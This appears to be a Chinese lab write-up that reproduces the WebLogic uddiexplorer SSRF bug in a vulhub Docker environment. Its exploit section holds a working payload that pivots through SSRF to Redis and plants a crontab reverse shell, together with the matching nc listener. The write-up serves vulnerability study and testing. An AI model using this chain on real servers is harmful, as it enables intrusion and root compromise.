Weblogic ssrf漏洞复现---从0到1

本文涉及的产品
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
云数据库 Tair(兼容Redis),内存型 2GB
简介: 利用Ubuntu16.04,安装docker,要以root身份执行

0x01 Docker+vulhub环境搭建:

一、利用Ubuntu16.04,安装docker,要以root身份执行:

sudo su #切换到root用户,输入密码即可sudo apt install docker.io    #安装docker

安装完成过后输入命令查看版本

docker --version

2、安装python-pip:

sudo apt-get install python-pip    #安装pippip -V    #查看pip版本

3、安装docker-compose,并用验证安装结果

pip install docker-compose    #安装docker-composedocker-compose -v    #查看版本

二、安装vulhub:

git clone https://github.com/vulhub/vulhub.git

0x02 复现weblogic ssrf漏洞:

漏洞影响版本:weblogic 10.0.2 -- 10.3.6

1、找到漏洞目录

cd vulhub/    #进入vulhub文件夹ls    #列出文件

cd weblogic/    #进入我们要复现的漏洞文件夹ls    #列出文件cd ssrf/    #进入我们要复现的ssrf漏洞文件夹

2、利用docker部署ssrf漏洞环境

docker-compose up -d //启动docker容器,-d 是后台运行

耐心等待即可......

3、部署完成后,访问漏洞页面即可

http://192.168.1.3:7001/uddiexplorer/

0x03 漏洞验证

1、点击Search Pubilc Regitries,随便输入,然后用burp抓包,发现operator参数的值是一个url,进行进一步验证

2、把operator参数的值改成http://127.0.0.1:7001,注意要将部分字符进行url编码,返回了如下内容

请求一个不存在的端口http://127.0.0.1:6001,很明显两次返回结果不同,端口不存在时会返回could not connect over HTTP to server:,判断存在ssrf漏洞

0x04 漏洞利用getshell

1、利用redis可以写入以下内容反弹shell,redis默认端口是6379

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.1.3/6666 0>&1\n\n\n\n"config set dir /etc/config set dbfilename crontabsave

而某些服务(如redis)是通过换行符(%0a%0d)来分隔每条命令,也就说我们可以通过SSRF攻击内网中的redis服务器

普及一下内网ip地址的知识:

局域网可使用的网段(私网地址段)有三大段:

10.0.0.0~10.255.255.255(A类)

172.16.0.0~172.31.255.255(B类)

192.168.0.0~192.168.255.255(C类)

2、可以利用burp遍历,最终发现172.18.0.2:6379是开放的,构造以下payload,其实就是将上面的4行进行部分url编码并利用%0A%0D进行换行分隔每一条命令,实战中反弹shell的地址为我们的vps公网ip

http://172.18.0.2:6379/info%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.3%2F6666%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A

image.png

3、nc开启监听本地6666端口,即可接收到反弹shell,因为redis一般权限比较大,所以直接返回了root权限的shell

nc -lvp 6666

0x05 漏洞总结

几个需要注意的点:

1、对命令进行url编码时,需要对部分进行编码,而不要将全部url编码

2、注意观察返回内容的不同,判断漏洞是否存在

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
目录
相关文章
|
Web App开发 安全 Java
WebLogic Server 远程代码执行漏洞(CVE-2021-2109)
WebLogic Server 远程代码执行漏洞,攻击者可通过使用恶意Payload对目标服务器实施攻击并接管服务器获取执行权限。
475 1
|
安全 Java 应用服务中间件
WebLogic Server 远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389)
WebLogic Server 存在远程代码执行漏洞,攻击者通过特定Payload对目标服务器进行恶意利用从而获取服务器控制权限,进一步操作。
391 1
|
9月前
|
安全 Oracle 关系型数据库
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现
H8
|
安全 网络协议 Java
跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议
Weblogic序列化漏洞主要依赖于T3和IIOP协议,在通信交互方面存在诸多问题,如跨语言、网络传输等,给漏洞检测和利用带来诸多不便。在WhiteHat Labs的理念中,漏洞检测和利用是一项创造性的工作,应该以最简洁高效的方式实现,以保证漏洞的跨平台性和实用性。因此,我们实现了跨语言的IIOP协议通信方案来解决序列化漏洞问题。
H8
328 12
|
XML 安全 Java
WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)
WebLogic EJBTaglibDescriptor 在反序列化的同时会进行XML解析,通过重写EJBTaglibDescriptor中的writeExternal函数生成恶意的序列化数据。
352 1
|
XML 安全 Oracle
干货 | 最全最详细的Weblogic漏洞总结(建议收藏)
干货 | 最全最详细的Weblogic漏洞总结(建议收藏)
5069 0
|
XML 安全 Oracle
Weblogic IIOP协议反序列化(CVE-2020-2551)漏洞复现
Weblogic IIOP协议反序列化(CVE-2020-2551)漏洞复现
1423 0
|
XML 安全 Oracle
Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271 漏洞复现
Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271 漏洞复现
175 0
|
安全 Oracle 前端开发
(CVE-2018-2894)Weblogic任意文件上传漏洞复现 文末附演示视频
(CVE-2018-2894)Weblogic任意文件上传漏洞复现 文末附演示视频
379 0
|
负载均衡 安全 Oracle
中间件常见漏洞之weblogic 1
中间件常见漏洞之weblogic
274 0